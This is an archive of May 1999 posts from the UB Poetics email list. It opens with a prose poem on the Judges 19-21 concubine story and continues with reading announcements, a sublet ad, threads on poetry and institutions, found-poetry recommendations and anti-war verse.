Last night, I couldn't sleep, violent insomnia, dismemberings. I heard voices over and over again coming towards me, devouring me. My ears were consumed in the fire of frantic voices. Voices wouldn't let me sleep in peace, these voices. I heard a vast and noisy blanket descend over the bed full of voices. Voices whispered to me of dark things I could not comprehend. Voices whispered to me of things I understood in unknown languages. Screams in hebrew and aramaic - loud voices in akkadian and mitannian. My tongue was consumed in a fire of futile replying; I had no voice. Voiceless, my vocal cords no longer murmured, my throat gouged out. In loving reply, I screamed, voiceless, back into the whirlwind. The Book of Judges screamed in reply: Judges 19, 20, 21:

Why did the host offer to throw his virgin daughter out to the Benjamin men? Why does the concubine, _pilegesh,_ remain unnamed? Why was she thrown out to them? Why was Israel mapped in that long journey on her body the unknown man crisscrossing the country - her corpse split among the tribes, the violent war which followed? Who were these people; why do they disappear from the ensuing fray? Why was she repeatedly raped? Why did the concubine return initially to Bethlehem? Why did the war result in further rape and pillaging? What drove these men out of their huts in such a fash- ion? Why is this tale of men spelled out in carnage - why is no one named? Later the ark's carried uselessly back and forth over the land of the Philistines - bringing hemorrhoids and mice - later returned - hemorr- hoids and mice cast in gold. Why this eternal distribution? But who was the concubine? Why does it say earlier she played the harlot? (Against him or on him, then to her father's house - he follows, brings her back after assuagement, entertainment - a delay like that before brutal orgasm - then they stop at the fatal house in Bethlehem - what became an inn of violence and despair - what began in grace and kindness. Think of the night, it's night there in the town, there are rough men about, this host takes the party in, there's banging out the door. Flickering lanterns. There are loud voices, drunken voices, demanding the man - they're going to fuck him. The host offers the daughter instead, as well as the concubine. The text seems slightly contrary here. The men wouldn't listen to him so they took the concubine, raped her all night long. She was dead on the door- step; the man came out and took her with him. What did he say to the host? The host had taken them in? The man distributed the body among the tribes; they'd never seen anything like that, not since they came out of the land of Egypt. There had to be war. The other tribes prevailed over Benjamin; it took a while. Benjamin himself had been a favorite son - later there's Samuel anointing Saul - from Benjamin again. I hear the voices outside the host's house which has become an inn; the man and his concubine and asses are staying gratis. The host is hold; he's kind, helpful. The rest of the folk wouldn't have anything to do with the visitors - they weren't helpful at all. It's the night before; they're all speaking happily. The pilegesh doesn't know she's about to die, then dismembered, cast among the tribes. There's the sound of men outside - they're drunken, surly, out of control. Surely they were out of control. Speaking the language of the Bible, mouthing it - the language which would later hold them in abeyance, name- less as well. All these characters will disappear into the fray. Later, millennia later, I'll be sleeping; voices will violate my body, strange mouths will appear breaking through my skin. There are screams and taunts from all of them - only my original mouth, taken over by the concubine - moaning and fearful - knowing now what's coming - it's all written down - I'll call her Shekinah -

---

↑ Index

247. travmar03

Fw: Highwire Browbeating Reminder: Poetry and Photography

Mon 24 May 1999

Please put the following message out on the (virtual) wire to whomever you think will be tittillated, tantalized, and tickled to see two poets pull out all the stops. See poisioned apples, exploding cheesesteaks, asthma causing summer air, freshly brewed poppy tea, and some of the most exciting poetry in the Northeast Corridor today. Immediately following the reading you're invited to view The American Ritual, photographic projections by photographers Rick Buckman and Elizabeth Riley.

Battle of the Small Press Editors

Katy Lederer
Editor of Explosive
and
Michael Magee
Editor of Combo
will read at Highwire Gallery
8 PM
Saturday May 29, 1999
139 North Second Street
Philadelphia
BYOB
Thanks
Greg Fuchs
Kyle Connor

↑ Index

248. Linda Russo
define "institution"
Mon 24 May 1999

first want to thank Marcella Durand belatedly for some much needed clarification re St. Marks and more particularly her talk at Barnard Conference (re 4/23/99 Poetics List post "Barnard Report"). My hastily scribbled notes thank you too.

Marcella raises the q. which seems at the heart of the recent thread re Power & Language Poetry (reflecting now on Presjnar's response to Debrot re Schaefer's RHIZOME essay) -- poets relations to "institutions" (and thus to Power?), especially in discerning whether or not individuals have power. Our dialogue was not abt. whether individuals have power, but what be the function of space-maintaining institutions, but I see in putting these two issues side by side a fruitful bleeding, as in colors that bleed, if anyone out there would like to draw some blood. I don't mean it do sound as violent as all that! just colorful.

Anyway, I objected to their (the St. Marks' panelists) reference to the Poetry Project as a "non-institutional institution" simply because that didn't make sense, seemed Lacanian semanticism ("she doesn't lack, she lacks lack, etc.). The gist of the issue I raised was how do "dialogues" that occurs in a physical/social space get into print, by what means does a dialogue continue so as to be an "extension" or "report" of what happened in that space? I questioned whether the Poetry Project Newletter, fine as it is, didn't serve more of an "institutional" function (that of maintaining the institution) than a "poetic" function (i.e. that of continuing the dialogues that occur in that space).

Marcella responded:
>But yes, one of the intrinsic problems of being a "space," especially a >social space, is that others will inevitably feel excluded, at least >physically or geographically, from that space. Which is why the Project >is interested in website and e-mail potentials as a way of overcoming >that obstacle, as well as the "regional updates" section of the >Newsletter. It is somewhat of an "office policy" to try and continue a >poetic dialogue beyond spatial limitations. I think this issue also plays >into being a non-institutional institution. What is perceived as >"institutional"? At what point does an organization, a social scene, a >dialogue, become institutionalized?

Likewise, what is it to be a "non-institutional institution"? I am by no means attacking St. Mark's & the many fine poets and goings-on associated with it/them, and the website & newsletter which do a great job of continuing "beyond spatial limitations." I'm interested in spatial limitiations and of course the desire to transcend them. And thus interested in how poetic dialogues carry on, shift, or continue outside of the physical spaces in which they occur; lost in translation as they say? We all know what makes meeting possible, whether by sharing one's space/time/money or by securing the funding (getting a "share" of someone else's space/time/money) -- but how can poets "keep them" from becoming "institutional" -- and is that what's at stake? Is it bad to be institutional (in this day and age? or a necessary evil?) And isn't avoiding institutionalizing then battling the canonizing 'tendancy' of literary history, which constructs movements, lineages, coherencies where there were before people making poems?

Like Marcella, I'm interested in when an organization (or a person!) becomes an institution. Perhaps an interest somewhat disinterested: a taxonomic desire (that is, if taxonomy = a system of classification and taxonomic = tending toward such a system) that hopes to extend beyond that grand taxonomy canonization and see what gets left out why. I'd say if it strives toward long-term self-maintenance and deals with money (especially in such amounts that an 'administration' comes into existence) then its an institution. Organizations on the other hand crop up when a certain issue arises, and run mostly on the energy of people involved. There's a casualness about them no matter how serious they in fact are. A reading series, as much as it is organized, is an organization. A little magazine too, and a small press, though these seem to commence striving a bit more toward permanence than did, say, mimeo revolution publications (i.e. by soliciting subscribers and seeking non-profit status -- though this again may be a necessary evil not necessarily evil, a sign of the times). They might rely on an institution (the NEA or SCA, say) but don't strive to be like one. Organizations have push, institutions have power.

↑ Index

249. Chris Stroffolino
DYLAN B-DAY THOUGHTS OF LUOMA
Mon 24 May 1999

And I'm defrosting today. Laundry stranded in the mat (above which rohrer lives, just as jarnot used to live above "under the pig" across from the luna lounge on ludlow where luoma used to go for laffs). It's raining love, the radio sounds so burlington today so thinking about the past that was a hope of art not sucking until drunk. but not those "reading reports" but the particular way i realize that almost everybody i know i somehow met "through poetry" or "the scene" which would seem distinct from poetry if it were less humid thunder to bike sideways o'er the brooklyn bridge for its birthday just like the white wing (fuschia) dove at the one's who stand so frown (for you know we couldn't stay black against the night). Still no sound of ice falling from the roof of the freezer's mouth....

Anyway, I do love the poetry scene when it leads to things outside itself. So, I went to that Bar 13 last night again (for those in, or planning to visit NYC, if you're at all interested in going out at MIDNIGHT ON A SUNDAY To dance to 60s (sixties) music, and watch people in their early 20s sometimes in "60s costumes", please contact me---I'm always looking for people to go with, not liking to "go it alone" as it were.

I discovered this place, because John Arizza and Greg Fuchs and Brett Evans and others had a reading there once or twice, but I didn't know it featured 60s dancing until I happened to be coming back from this birthday party for some woman (who I kinda met through louma), whose father runs the hair-club for men, and we were looking for somewhere to go, and walked in and they were playing TOMORROW NEVER KNOWS and I was hooked, and even bill luoma decided to stay and dance (96 tears or incense and peppermint)---and I've gone many times since, last night with Jody, a great DJ (I'm trying to set him up with the FENCE people for some dance party) who people say looks like me (though he's taller, thinner, and more african), and it was really crowded, and we got there too late to get the tambourines they were handing out, but not too late to him them play THE RAPPER by the JAGGERZ, then seque into 25 MILES by Edwin Starr, and then SOUL FINGER by the BAR-KAYS (just before they died in that otis redding rush crash), and why were they handing out tambourines, not perhaps because it was dylan's birthday eve, but because it was the second anniversay of the opening of 60s night at this place (and I got thinking, it was EXACTLY TWO YEARS AGO that I (and louma, etc.) happened upon this place, and so i mark an anniversary too...(and defrosting is slow, but the rain continues....)

c

P.S. DOES ANYBODY HAVE A TAPE OF SUN RA ARKESTRA ANN ARBOR 1973 concert?

we'll meet on edges soon,

chris

↑ Index

250. Poetry Project
apt sublet
Mon 24 May 1999

Sublet available from mid-June to July 31st
in East Village

Very clean, quiet, railroad apartment on E. 2nd St. between 2nd & 1st Aves, lots of light & fully furnished.

$1500 plus deposit

Call Brenda or Atticus at [redacted] if interested.

↑ Index

251. pete spence
Re: contact info for peter jaeger?
Mon 24 May 1999

---

thanks to the six people who ordered Hannah Weiner's WRITTEN IN/THE ZERO ONE you should see it it your mailbox about now. there are about 150 to 200 copies left it didn't get much distribution back then for one reason or another. so anyone else interested can e-mail me : [redacted]

thank you pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

252. Jordan Davis
the suck of art
Mon 24 May 1999

anybody doing anything about this war we're having?
or this capitalism we're hoovering?
or this atomization of the intelligence we're endrunning by singing along with creative studies?

Isn't political efficacy something poetry goes alongside of, is inspired by, inspires, or does it have to EMBODY it -- ENACTMENT HOUNDS, they called them --

please implicate me,
Jordan

↑ Index

253. Stephen Cope
Query for Caribbeanists?
Tue 25 May 1999

I remember hearing of a scholar who used the phrase "linguistic insurrection" to discuss (I believe) certain uses of ideolect in Caribbean poetry/lit. Might anyone know who I'm thinking of?

Thanks in advance,

Stephen Cope

↑ Index

254. Jena Osman found poetry
Tue 25 May 1999

I'm interested in poems that were "found" inside of other texts (such as Cage's mesostics and Reznikoff's _Testimony_). What are some favorites in this genre by others? Any critical texts about these kinds of procedures I should know about?

Thanks,
Jena Osman
[redacted]

↑ Index

255. Lowther,John
FREE MAGAZINE OFFER
Tue 25 May 1999

---

this offer is for non-US folks

i've got 5 copies of my last magazine issue ITSYNCCAST
sitting at the ready to be sent out to the 1st 5 requests outside of the US

the mag has 92 pages and features work by

Paul Vangelisti
Tracy Grinnell
Jackson Mac Low
Guy Bennett
Tim Fletcher
Emily Grossman
H.T.
and lots more...

↑ Index

256. Poetics List Administration
beer-related poem contest / Brooklyn Brewery
Tue 25 May 1999

---

it was requested that I forward this; contact information below. Chris

---

A first-place prize of $500 will be awarded for the best beer-related poem on the blank side of a Brooklyn Brewery bar coaster. Deadline for submissions: September 30, 1999. Coasters may be obtained from establishments serving Brooklyn Brewery products or by calling, writing or e-mailing the brewery at

79 N 11 St., Brooklyn NY 11211. Phone [redacted]. E-mail: [redacted]. Entries may be submitted in person or by mail. Winners will be announced at the Poetry Olympiad to be held at the Brooklyn Brewery perfomance space in November 1999. The last Olympiad featured teams fielded by the MFA writing programs at NYU, Columbia, Saral Lawrence, the New School, and Brooklyn College.

↑ Index

257. ken|n|ing
Re: the suck of art
Tue 25 May 1999

> Jordan
> What mean you by poetry? What mean you by political efficacy?
> Patrick F. Durgin

k e n n i n g_____ a newsletter of contemporary poetry poetics & nonfiction writing _____http://www.avalon.net/~kenning 418 BROWN STREET #10 IOWA CITY IOWA 52245 USA

On Mon, 24 May 1999, Jordan Davis wrote:

> anybody doing anything about this war we're having?
> or this capitalism we're hoovering?
> or this atomization of the intelligence we're endrunning by singing along with creative studies?
>
> Isn't political efficacy something poetry goes alongside of, is inspired by, inspires, or does it have to EMBODY it -- ENACTMENT HOUNDS, they called them --
>
> please implicate me,
> Jordan

↑ Index

258. Billy Little
Re: the suck of art
Tue 25 May 1999

---

someday i'll wish upon a star and wake up where the Serbs are far behind me where missiles melt like lemon drops away above the silo tops thats where you'll find me totally black lamb with long white tail suckling totally white ewe bombing is so barbarian so uncivilized rude to the max retrograde totally twentieth century bombing the antithesis of thinking

tantrum not a tactic
if you don't do what nato say nato rip your grandma's legs off bomb you bakery bomb you church blow you dad out of bathtub we should drop cake from the clouds above skopje apple pie, cherry pie, birthday cake, strudel, sticky buns, muffins, scones drop ovens, drop microwaves, drop cell phones into border camps why doesn't microsoft or apple race a few computers right to the camps so we can hear first hand, set up a server for the camps, what do you need, drinking water let's bring them a barge or three of glacier advertising money couldn't buy.

forbidden plateau fallen body dojo
4 song st.
nowhere, b.c. V0R1Z0
canadaddy
[redacted] zonko

↑ Index

259. miekal and
Re: found poetry
Tue 25 May 1999

Jena

the lifelong master of found poetry is the venerable Bern Porter--The Book of Do, The Book of Dont, CRCNCL, The Manhattan Phonebook, Found Poems, The Waste-makers. Most of his published work since 55 or so has incorporated every manner of found experimentation.

As this is a wonderful question deserving attention, I'll try to post those titles I know of, which might be numerous, & then what separates found texts from plagiarized texts?

miekal

found out

↑ Index

260. Stephen Ellis
Re: define
Tue 25 May 1999

---

re: Institutions, poetry, for example, has been a state-infected form of synecdoche ever since Alexander, burning down the home-town, spared Pindar's "house", poetry falling thereafter prey to the spiralling disappearance of "world" into the upper regions of epistemology by way of legal quarantine over a person's "private (p)arts" - law by concensus, might making rite a form of atavism critically dissembled yet not without simultaneously milking it of resident function. Institutionalization = the ability to dissect all forms of threat to stability by invoking them as "test cases", or "institution is the same as precedent", memory being consequent to exclusion, making a line of tone at once powerless and "special"; the systemization of stars constitutes the first institution; social life was determined by nothing but

> From: Linda Russo <[redacted]>
> Reply-To: UB Poetics discussion group <[redacted]>
> To: [redacted]
> Subject: define "institution"
> Date: Mon, 24 May 1999 13:20:40 -0400
>
> first want to thank Marcella Durand belatedly for some much > needed clarification re St. Marks and more particularly her > talk at Barnard Conference (re 4/23/99 Poetics List post "Barnard > Report"). My hastily scribbled notes thank you too.
>
> Marcella raises the q. which seems at the heart of the recent thread re > Power & Language Poetry (reflecting now on Presjnar's response to > Debrot re Schaefer's RHIZOME essay) -- poets relations to "institutions"
> (and thus to Power?), especially in discerning whether or not individuals > have* power. Our dialogue was not abt. whether individuals have power,* > but what be the function of space-maintaining institutions, but I see in > putting > these two issues side by side a fruitful bleeding, as in colors that bleed, > if > anyone out there would like to draw some blood. I don't mean it do sound > as violent as all that! just colorful.
>
> Anyway, I objected to their (the St. Marks' panelists) reference to the > Poetry Project as a "non-institutional institution" simply because that > didn't make sense, seemed Lacanian semanticism ("she doesn't lack, > she lacks lack, etc.). The gist of the issue I raised was how do > "dialogues"
> that occurs in a physical/social space get into print, by what means > does a dialogue continue so as to be an "extension" or "report" of > what happened in that space? I questioned whether the Poetry Project

Newletter, fine as it is, didn't serve more of an "institutional" function (that of maintaining the institution) than a "poetic" function (i.e. that of continuing the dialogues that occur in that space).

*Marcella responded:
But yes, one of the intrinsic problems of being a "space," especially a social space, is that others will inevitably feel excluded, at least physically or geographically, from that space. Which is why the Project is interested in website and e-mail potentials as a way of overcoming that obstacle, as well as the "regional updates" section of the Newsletter. It is somewhat of an "office policy" to try and continue a poetic dialogue beyond spatial limitations. I think this issue also plays into being a non-institutional institution. What is perceived as "institutional"? At what point does an organization, a social scene, a dialogue, become institutionalized?*

*Likewise, what is it to be a "non-institutional institution"? I am by no means attacking St. Mark's & the many fine poets and goings-on associated with it/them, and the website & newsletter which do a great job of continuing "beyond spatial limitations." I'm interested in spatial limitiations and of course the desire to transcend them. And thus interested in how poetic dialogues carry on, shift, or continue outside of the physical spaces in which they occur; lost in translation as they say? We all know what makes meeting possible, whether by sharing one's space/time/money or by securing the funding (getting a "share" of someone else's space/time/money) -- but how can poets "keep them" from becoming "institutional" -- and is that what's at stake? Is it bad to be institutional (in this day and age? or a necessary evil?) And isn't avoiding institutionalizing then battling the canonizing 'tendancy' of literary history, which constructs movements, lineages, coherencies where there were before people making poems?*

*Like Marcella, I'm interested in when an organization (or a person!) becomes an institution. Perhaps an interest somewhat disinterested: a taxonomic desire (that is, if taxonomy = a system of classification and taxonomic = tending toward such a system) that hopes to extend beyond that grand taxonomy canonization and see what gets left out why. I'd say if it strives toward* > long-term

> self-maintenance and deals with money (especially in such amounts that an > 'administration' comes into existence) then its an institution.
> Organizations
> on the other hand crop up when a certain issue arises, and run mostly on
> the > energy of people involved. There's a casualness about them no matter how > serious they in fact are. A reading series, as much as it is organized, is > an > organization. A little magazine too, and a small press, though these seem
> to > commence striving a bit more toward permanence than did, say, mimeo > revolution publications (i.e. by soliciting subscribers and seeking > non-profit
> *status -- though this again may be a necessary evil not necessarily evil,*
> a > sign of the times). They might rely on an institution (the NEA or SCA, > say)
> but don't strive to be like one. Organizations have push, institutions > have* power.*

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

↑ Index

261. Jacques Debrot
Re: Found Texts
Tue 25 May 1999

Jena Osman had in mind, I'm guessing, texts produced through unvarying procedures.

But some recent & non-procedural examples of "writing through" found texts that I've enjoyed particulalry are Douglas Messerli's AFTER, Guy Bennet's LAST WORDS, & Aaron Shurin's INTO DISTANCES. Sections of Sianne Ngai's recent book, CRITERIA, also do very interesting things with found texts.

↑ Index

262. Robin Tremblay-McGaw
Class, Gender and Innovative Poetics
Tue 25 May 1999

Class, Gender and Innovative Poetics

Robin Tremblay-McGaw here. I want to announce that Kathy Lou Schultz and I will be editing the next issue of HOW2's Forum on Class and Poetics. See below for the call for work.

Thanks to the efforts of feminist poets, critics, and editors, it is now possible to identify a discourse--both scholarly and creative--of gender and poetics. In the 1980s, journals such as HOW(ever) put the spotlight on these issues, particularly related to innovative or experimental practices, thereby providing a forum for the exploration of a vocabulary for talking about gender and poetics. Today we find ourselves trying to create a vocabulary for addressing the complex issues of class, gender, and innovative poetics. As Kathy Lou Schultz asked in her Tripwire essay, "What's a working class poetic, and where could I find one?" Or we could ask, what are the (lipstick) traces of class? How do we make present the absence of class in discussions about gender and poetics? What are the intersections of race in discussions of class? How are these things fused and CON-fused? How do/can we picture/trace working class issues in formally innovative ways? What do the circumstances of literary production surrounding writers themselves--and the writing produced--have to do with one another, with innovation, and with gender?

Email submissions should be sent to: [redacted] as a text file included in the body of the email message.
HOW2 can be found at:
http://www.departments.bucknell.edu/stadler_center/how2/

↑ Index

263. Taylor Brady
Re: found poetry
Tue 25 May 1999

Jena,

A few texts spring most readily to mind here:

Jackson Mac Low's _Words nd Ends from Ez_, _Virginia Woolf Poems_, _Barnesbook_, etc.
Ronald Johnson's _Radi Os_ (1st 4[?] books of Paradise Lost, written-through by subtraction) Hannah Weiner's _Weeks_ (I don't think it sticks very "purely" to language heard on the news, but most of it's close)
Tom Phillips' _A Humument_
Joan Retallack's _Errata 5uite_ (Are you looking for poems "found" in single texts, or collaged from a number of sources?)
David Bromige's Sonoma County newspaper prose poem, a lovely piece whose title I'm unfortunately not able to recall

I also remember well a piece by Rosmarie and Keith Waldrop, read by them at the Ear Inn back in '95(?), which was created by successively working through Wordsworth's "Tintern Abbey," each time subtracting a certain proportion of words. Rosmarie's use of Wittgenstein in _The Reproduction of Profiles_ and _Lawn of Excluded Middle_, while not a pure example of the genre, also might be of interest.

In the realm of badly-remembered secondhand information, didn't I also hear somewhere that dictionary definitions had some role as "source material" in Clark Coolidge's _The Maintains_?

Analogies in music too numerous to document here - and probably off-topic, though I'd be happy to backchannel if you're interested. One I'll mention, since it connects to one of your examples, is Cage's _Quartets I-VIII_, which is a subtractive rewriting of American Protestant hymns.

I'm drawing a blank when trying to think of critical prose on this specific topic other than that by the poets/composers themselves, though there are a number of texts which might be extended to apply here by analogy. Which leaves Mac Low's and Cage's "explanatory" prose glosses, along with Cage's _Diary_ [_Journal_?] as good introductions to the procedures, some of the aesthetic and political claims that have been made for them, etc.

I hope this is at least a little helpful.

Taylor

-----Original Message-----
From: UB Poetics discussion group [mailto:[redacted]]
On Behalf Of Jena Osman
Sent: Tuesday, May 25, 1999 9:21 AM
To: [redacted]
Subject: found poetry

I'm interested in poems that were "found" inside of other texts (such as Cage's mesostics and Reznikoff's _Testimony_). What are some favorites in this genre by others? Any critical texts about these kinds of procedures I should know about?

Thanks,
Jena Osman
[redacted]

↑ Index

264. Jacques Debrot
Re: E-Mail Nigel Hinshelwood??
Tue 25 May 1999

If anyone has an e-mail or a phone # for Nigel Hinshelwood would you backchannel it to me at [redacted].

Thanks in advance.

Jacques

↑ Index

265. Kevin Magee
Re: PUTTING THE CARTE BEFORE THE POST
Tue 25 May 1999

84
TO INESSA ARMAND

Dear friend, I have just read, my dear friend [the words
"my dear friend" were written by Lenin in English--Ed.]
I have just read the telegram, and changed the envelope marked for "A" [The letter has never been found.--Ed.]
I also want to correspond. Let's continue to correspond.
